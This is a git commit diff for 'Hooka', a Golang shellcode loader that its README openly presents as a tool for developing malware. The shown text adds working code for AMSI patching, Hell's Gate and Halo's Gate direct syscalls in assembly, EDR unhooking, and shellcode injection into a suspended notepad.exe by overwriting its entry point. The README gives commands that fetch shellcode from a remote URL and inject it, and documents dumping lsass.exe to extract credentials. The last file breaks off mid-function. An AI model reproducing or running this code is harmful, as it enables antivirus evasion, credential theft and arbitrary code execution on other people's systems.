halo's gate, uuidfromstring injection, more CLI flags and more

This commit is contained in:
d3ext
2023-02-26 13:57:51 +01:00
parent a358b8fa20
commit a4c544c44f
25 changed files with 1474 additions and 486 deletions
+107 -49
View File
@@ -1,7 +1,7 @@
<p align="center">
<img src="assets/gopher.png" width="130" heigth="60" alt="Gopher"/>
<h1 align="center">Hooka</h1>
<p align="center">~ Shellcode injector, hooks detector and more written in Golang ~</p>
<p align="center">~ Shellcode loader, hooks detector and more written in Golang ~</p>
</p>
<p align="center">
@@ -15,18 +15,18 @@
# Introduction
I started this project to create a powerful shellcode injector with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hells Gate technique and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful.
I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want.
However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
# Features
- Inject shellcode from remote URL or local file
- Get shellcode from remote URL or local file
- Shellcode reflective DLL injection (***sRDI***)
- ***AMSI*** and ***ETW*** patch
- Detects hooked functions (i.e. NtCreateThread)
- Compatible with base64 and hex encoded shellcode
- Hell's Gate technique
- Recycled Gate technique
- Capable of unhooking functions via multiple techniques:
- Classic unhooking
- Full DLL unhooking
@@ -37,6 +37,7 @@ However I've also taken some code from [BananaPhone](https://github.com/C-Sto/Ba
- Fibers
- OpenProcess
- EarlyBirdAPC
- UuidFromString
- Dump lsass.exe process to a file
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
@@ -64,35 +65,6 @@ git clone https://github.com/D3Ext/Hooka
> Help panel
```
_ _ _ _
| | | | ___ ___ | | __ __ _ | |
| |_| | / _ \ / _ \ | |/ / / _` | | |
| _ | | (_) | | (_) | | < | (_| | |_|
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
by D3Ext - v0.1
-b64
decode base64 encoded shellcode
-dll string
path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)
-file string
path to file where shellcode is stored
-hells
enable Hell's Gate technique to try to evade possible EDRs
-hex
decode hex encoded shellcode
-hooks
dinamically detect hooked functions by EDR
-lsass string
dump lsass.exe process memory into a file to extract credentials (run as admin)
-t string
shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)
-test
test shellcode injection capabilities by spawning a calc.exe
-unhook int
overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart
-url string
remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)
```
> Detect hooked functions by EDR (including false positives)
@@ -105,16 +77,16 @@ git clone https://github.com/D3Ext/Hooka
.\Hooka.exe --test
```
If no technique is especified it will use a random one
- If no technique is especified it will use a random one
> Inject shellcode from URL
```sh
.\Hooka.exe -t CreateRemoteThread --url http://192.168.116.37/shellcode.bin
.\Hooka.exe --url http://192.168.116.37/shellcode.bin
```
> Inject shellcode from file
```sh
.\Hooka.exe -t Fibers --file shellcode.bin
.\Hooka.exe --file shellcode.bin
```
> Decode shellcode from hex
@@ -127,14 +99,19 @@ If no technique is especified it will use a random one
.\Hooka.exe --file shellcode.bin --b64
```
> Inject shellcode using Hell's Gate
> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
```
> Unhook function before injecting shellcode
```sh
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook 3
.\Hooka.exe --file shellcode.bin --unhook 3
```
> Patch AMSI
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --amsi
```
As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
@@ -144,9 +121,12 @@ As you can see Hooka provides a lot of CLI flags to help you in all kind of situ
> Detecting hooks
<img src="assets/hooks.png">
> Injecting shellcode via NtCreateThread
> Injecting shellcode via CreateRemoteThread technique
<img src="assets/crt.png">
> Injecting shellcode using custom flags
<img src="assets/custom.png">
> Test function
<img src="assets/test.png">
@@ -161,11 +141,13 @@ As you can see Hooka provides a lot of CLI flags to help you in all kind of situ
:black_square_button: Better error handling
:black_square_button: Test unhooking functions against some EDR
:black_square_button: Integrated Seatbelt.exe using CLR
:black_square_button: Test unhooking functions against EDRs
# Library
If you're looking to implement any function in your malware you can do it using the official package API:
- If you're looking to implement any function in your malware you can do it using the official package API.
> First of all download the package
```sh
@@ -185,14 +167,14 @@ import (
func main(){
// Returns all hooked functions
hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error) {}
hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error)
if err != nil {
log.Fatal(err)
}
fmt.Println(hooks)
// Check if an especific function is hooked
check, err := hooka.IsHooked("NtCreateThread") // func IsHooked(funcname string) (bool, error) {}
check, err := hooka.IsHooked("NtCreateThread") // func IsHooked(funcname string) (bool, error)
if err != nil {
log.Fatal(err)
}
@@ -223,13 +205,19 @@ func main(){
}
// Now use the procedure as loading it from dll
proc.Call()
r, err := hooka.Syscall(
proc,
arg1,
arg2,
arg3,
arg4,
)
...
}
```
> Apply AMSI and ETW patch
> Apply AMSI and/or ETW patch
```go
package main
@@ -242,7 +230,7 @@ import (
func main(){
// Amsi bypass
err := hooka.PatchAmsi(0) // Use 0 for own process
err := hooka.PatchAmsi()
if err != nil {
log.Fatal(err)
}
@@ -257,6 +245,71 @@ func main(){
}
```
> Get syscall id with Hell's Gate + Halo's Gate
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
// Get syscall id of function, only ntdll.dll is supported
sysId, err := hooka.GetSysId("NtCreateThread") // func GetSysId(funcname string) (uint16, error)
if err != nil {
log.Fatal(err)
}
fmt.Println("Syscall ID:", sysId)
r, err := hooka.Syscall( // Execute syscall
sysId, // especify func
arg1, // pass neccesary arguments
arg2,
arg3,
arg4,
)
if err != nil {
log.Fatal(err)
}
fmt.Println("Error code:", r)
}
```
> Use shellcode injection techniques
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
var calc_shellcode = []byte{}
func main(){
err := hooka.Fibers(calc_shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("Shellcode injected via Fibers")
err = hooka.CreateProcess(calc_shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("Shellcode injected via CreateProcess")
}
```
> Unhook a function (3 ways)
```go
package main
@@ -269,16 +322,19 @@ import (
)
func main(){
// Use classic technique which overwrites
err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
if err != nil {
log.Fatal(err)
}
err = hooka.FullUnhook()
// This technique loads original ntdll.dll from disk into memory to restore all functions
err = hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
if err != nil {
log.Fatal(err)
}
// Use modern Perun's Fart technique which
err = hooka.PerunsUnhook()
if err != nil {
log.Fatal(err)
@@ -300,13 +356,15 @@ See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
https://github.com/C-Sto/BananaPhone
https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://github.com/trickster0/TartarusGate
https://github.com/Kara-4search/HookDetection_CSharp
https://github.com/RedLectroid/APIunhooker
https://github.com/plackyhacker/Peruns-Fart
https://github.com/chvancooten/maldev-for-dummies
https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
```
-62
View File
@@ -16,7 +16,6 @@ import (
bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
)
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
func PatchAmsi() (error) {
@@ -93,65 +92,4 @@ func WriteBanana(module string, proc string, data *[]byte) error {
return nil
}
/*func PatchAmsi(pid int) (error) {
amsidll := syscall.NewLazyDLL("amsi.dll") // Load DLLs
kernel32 := syscall.NewLazyDLL("kernel32.dll")
amsiScanBuffer := amsidll.NewProc("AmsiScanBuffer")
amsiScanString := amsidll.NewProc("AmsiScanString")
amsiInitialize := amsidll.NewProc("AmsiInitialize")
openProcess := kernel32.NewProc("OpenProcess")
closeHandle := kernel32.NewProc("CloseHandle")
getCurrentProcess := kernel32.NewProc("GetCurrentProcess")
virtualProtectEx := kernel32.NewProc("VirtualProtectEx")
writeProcessMemory := kernel32.NewProc("WriteProcessMemory")
time.Sleep(100 * time.Millisecond)
var handle uintptr
var err error
if (pid == 0) {
handle, _, _ = getCurrentProcess.Call()
} else {
handle, _, _ = openProcess.Call(uintptr(0x1F0FFF), uintptr(0), uintptr(pid))
}
addresses := []uintptr{
amsiInitialize.Addr(),
amsiScanBuffer.Addr(),
amsiScanString.Addr(),
}
var oldProtect uint32
var old uint32
time.Sleep(100 * time.Millisecond)
for _, addr := range addresses {
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), windows.PAGE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if err != nil {
fmt.Println("error virtualProtectEx")
}
//writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
r1, _, _ := writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
if r1 == 0 {
fmt.Println("error writeProcessMemory")
}
//virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
if err != nil {
fmt.Println("error virtualProtectEx")
}
}
closeHandle.Call(handle)
return nil
}*/
+112
View File
@@ -0,0 +1,112 @@
//func GetNtdllStart() uintptr
TEXT ·GetNtdllStart(SB), $0-16
//All operations push values into AX
//PEB
MOVQ 0x60(GS), AX
//PEB->LDR
MOVQ 0x18(AX),AX
//LDR->InMemoryOrderModuleList
MOVQ 0x20(AX),AX
//Flink (get next element)
MOVQ (AX),AX
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
MOVQ 0x20(AX),CX
MOVQ CX, start+0(FP)
MOVQ 0x30(AX),CX
MOVQ CX, size+8(FP)
RET
//func getModuleLoadedOrder(i int) (start uintptr, size uintptr)
TEXT ·getMLO(SB), $0-32
//All operations push values into AX
//PEB
MOVQ 0x60(GS), AX
//PEB->LDR
MOVQ 0x18(AX),AX
//LDR->InMemoryOrderModuleList
MOVQ 0x20(AX),AX
//loop things
XORQ R10,R10
startloop:
CMPQ R10,i+0(FP)
JE endloop
//Flink (get next element)
MOVQ (AX),AX
INCQ R10
JMP startloop
endloop:
//Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
//_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
MOVQ 0x20(AX),CX
MOVQ CX, start+8(FP)
MOVQ 0x30(AX),CX
MOVQ CX, size+16(FP)
MOVQ AX,CX
ADDQ $0x38,CX
MOVQ CX, modulepath+24(FP)
//SYSCALL
RET
//based on https://golang.org/src/runtime/sys_windows_amd64.s
#define maxargs 16
//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
TEXT ·bpSyscall(SB), $0-56
XORQ AX,AX
MOVW callid+0(FP), AX
PUSHQ CX
//put variadic size into CX
MOVQ argh_len+16(FP),CX
//put variadic pointer into SI
MOVQ argh_base+8(FP),SI
// SetLastError(0).
MOVQ 0x30(GS), DI
MOVL $0, 0x68(DI)
SUBQ $(maxargs*8), SP // room for args
// Fast version, do not store args on the stack.
CMPL CX, $4
JLE loadregs
// Check we have enough room for args.
CMPL CX, $maxargs
JLE 2(PC)
INT $3 // not enough room -> crash
// Copy args to the stack.
MOVQ SP, DI
CLD
REP; MOVSQ
MOVQ SP, SI
loadregs:
//move the stack pointer????? why????
SUBQ $8, SP
// Load first 4 args into correspondent registers.
MOVQ 0(SI), CX
MOVQ 8(SI), DX
MOVQ 16(SI), R8
MOVQ 24(SI), R9
// Floating point arguments are passed in the XMM
// registers. Set them here in case any of the arguments
// are floating point values. For details see
// https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
MOVQ CX, X0
MOVQ DX, X1
MOVQ R8, X2
MOVQ R9, X3
//MOVW callid+0(FP), AX
MOVQ CX, R10
SYSCALL
ADDQ $((maxargs+1)*8), SP
// Return result.
POPQ CX
MOVL AX, errcode+32(FP)
RET
+77 -7
View File
@@ -6,6 +6,7 @@ import (
"fmt"
"time"
"bytes"
"unsafe"
"strings"
"net/http"
"math/rand"
@@ -19,8 +20,21 @@ import (
"github.com/Binject/debug/pe"
)
const ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
const kernel32path = "C:\\Windows\\System32\\kernel32.dll"
/*
This code has been taken and modified from BananaPhone project
*/
const (
ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
kernel32path = "C:\\Windows\\System32\\kernel32.dll"
)
const (
IDX = 32
)
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
type MayBeHookedError struct { // Define custom error for hooked functions
@@ -31,7 +45,7 @@ func (e MayBeHookedError) Error() string {
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
}
func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
func rvaToOffset(pefile *pe.File, rva uint32) (uint32) {
for _, hdr := range pefile.Sections {
baseoffset := uint64(rva)
if baseoffset > uint64(hdr.VirtualAddress) &&
@@ -51,7 +65,6 @@ func CheckBytes(b []byte) (uint16, error) {
}
// Generate a random integer between range
func RandomInt(max int, min int) (int) { // Return a random number between max and min
rand.Seed(time.Now().UnixNano())
rand_int := rand.Intn(max - min + 1) + min
@@ -107,10 +120,15 @@ func StrToSha1(str string) (string) {
/*
This code has been taken from BananaPhone and Doge-Gabh project
This code has been taken and modified from Doge-Gabh project
*/
type Export struct {
Name string
VirtualAddress uintptr
}
type sstring struct {
Length uint16
MaxLength uint16
@@ -149,6 +167,40 @@ func inMemLoads(modulename string) (uintptr, uintptr) {
return 0, 0
}
func getExport(pModuleBase uintptr) []Export {
var exports []Export
var pImageNtHeaders = (*IMAGE_NT_HEADER)(unsafe.Pointer(pModuleBase + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(pModuleBase)).E_lfanew))) // ntH(pModuleBase)
//IMAGE_NT_SIGNATURE
if pImageNtHeaders.Signature != 0x00004550 {
return nil
}
var pImageExportDirectory *imageExportDir
pImageExportDirectory = ((*imageExportDir)(unsafe.Pointer(uintptr(pModuleBase + uintptr(pImageNtHeaders.OptionalHeader.DataDirectory[0].VirtualAddress)))))
pdwAddressOfFunctions := pModuleBase + uintptr(pImageExportDirectory.AddressOfFunctions)
pdwAddressOfNames := pModuleBase + uintptr(pImageExportDirectory.AddressOfNames)
pwAddressOfNameOrdinales := pModuleBase + uintptr(pImageExportDirectory.AddressOfNameOrdinals)
for cx := uintptr(0); cx < uintptr((pImageExportDirectory).NumberOfNames); cx++ {
var export Export
pczFunctionName := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfNames + cx*4)))
pFunctionAddress := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfFunctions + uintptr(*(*uint16)(unsafe.Pointer(pwAddressOfNameOrdinales + cx*2)))*4)))
export.Name = windows.BytePtrToString((*byte)(unsafe.Pointer(pczFunctionName)))
export.VirtualAddress = uintptr(pFunctionAddress)
exports = append(exports, export)
}
return exports
}
func memcpy(dst, src, size uintptr) {
for i := uintptr(0); i < size; i++ {
*(*uint8)(unsafe.Pointer(dst + i)) = *(*uint8)(unsafe.Pointer(src + i))
}
}
func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
offset := 0
@@ -202,8 +254,26 @@ func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
}
//getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) {
return
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
func uint16Down(b []byte, idx uint16) uint16 {
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
return uint16(b[0]) - idx | uint16(b[1])<<8
}
func uint16Up(b []byte, idx uint16) uint16 {
_ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
return uint16(b[0]) + idx | uint16(b[1])<<8
}
func contains(slice []string, item string) bool {
set := make(map[string]struct{}, len(slice))
for _, s := range slice {
set[s] = struct{}{}
}
_, ok := set[item]
return ok
}
+2
View File
@@ -0,0 +1,2 @@
package core
+525
View File
@@ -0,0 +1,525 @@
package core
/*
References:
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
*/
import (
"encoding/binary"
"fmt"
"log"
"syscall"
"errors"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func CreateProcess(shellcode []byte) (error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
}
errCreateProcess := windows.CreateProcess(
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
syscall.StringToUTF16Ptr(""),
nil,
nil,
true,
windows.CREATE_SUSPENDED,
nil,
nil,
startupInfo,
procInfo,
)
if errCreateProcess != nil {
return errCreateProcess
}
addr, _, _ := VirtualAllocEx.Call(
uintptr(procInfo.Process),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
// Write shellcode into child process memory
WriteProcessMemory.Call(
uintptr(procInfo.Process),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(
uintptr(procInfo.Process),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, _ := NtQueryInformationProcess.Call(
uintptr(procInfo.Process),
0,
uintptr(unsafe.Pointer(&processInformation)),
unsafe.Sizeof(processInformation),
returnLength,
)
if ntStatus != 0 {
if ntStatus == 3221225476 {
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
return errors.New("Error calling NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var peb PEB
var readBytes int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
processInformation.PebBaseAddress,
uintptr(unsafe.Pointer(&peb)),
unsafe.Sizeof(peb),
uintptr(unsafe.Pointer(&readBytes)),
)
// Read the child program's DOS header and validate it is a MZ executable
type _IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
var dosHeader _IMAGE_DOS_HEADER
var readBytes2 int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress,
uintptr(unsafe.Pointer(&dosHeader)),
unsafe.Sizeof(dosHeader),
uintptr(unsafe.Pointer(&readBytes2)),
)
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
var Signature uint32
var readBytes3 int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
uintptr(unsafe.Pointer(&Signature)),
unsafe.Sizeof(Signature),
uintptr(unsafe.Pointer(&readBytes3)),
)
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
return errors.New("PE Signature string was not PE")
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
uintptr(unsafe.Pointer(&peHeader)),
unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&readBytes4)),
)
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&optHeader64)),
unsafe.Sizeof(optHeader64),
uintptr(unsafe.Pointer(&readBytes5)),
)
} else if peHeader.Machine == 332 { // 0x14c
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&optHeader32)),
unsafe.Sizeof(optHeader32),
uintptr(unsafe.Pointer(&readBytes5)),
)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
WriteProcessMemory.Call(
uintptr(procInfo.Process),
ep,
uintptr(unsafe.Pointer(&epBuffer[0])),
uintptr(len(epBuffer)),
)
// Resume the child process
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
// Close the handle to the child process
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
return nil
}
/*
This function uses Hell's Gate + Halo's Gate technique
*/
func CreateProcessHalos(shellcode []byte) (error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
// Get syscall using Hell's Gate + Halo's Gate
ntqueryinformationprocess, err := GetSysId("NtQueryInformationProcess")
if err != nil {
return err
}
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
}
errCreateProcess := windows.CreateProcess(
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
syscall.StringToUTF16Ptr(""),
nil,
nil,
true,
windows.CREATE_SUSPENDED,
nil,
nil,
startupInfo,
procInfo,
)
if errCreateProcess != nil {
return errCreateProcess
}
addr, _, _ := VirtualAllocEx.Call(
uintptr(procInfo.Process),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
// Write shellcode into child process memory
WriteProcessMemory.Call(
uintptr(procInfo.Process),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(
uintptr(procInfo.Process),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _ := Syscall( // Use custom syscall id with hooka.Syscall()
ntqueryinformationprocess,
uintptr(procInfo.Process),
0,
uintptr(unsafe.Pointer(&processInformation)),
unsafe.Sizeof(processInformation),
returnLength,
)
if ntStatus != 0 {
if ntStatus == 3221225476 {
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
return errors.New("Error calling NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var peb PEB
var readBytes int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
processInformation.PebBaseAddress,
uintptr(unsafe.Pointer(&peb)),
unsafe.Sizeof(peb),
uintptr(unsafe.Pointer(&readBytes)),
)
// Read the child program's DOS header and validate it is a MZ executable
type _IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
var dosHeader _IMAGE_DOS_HEADER
var readBytes2 int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress,
uintptr(unsafe.Pointer(&dosHeader)),
unsafe.Sizeof(dosHeader),
uintptr(unsafe.Pointer(&readBytes2)),
)
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
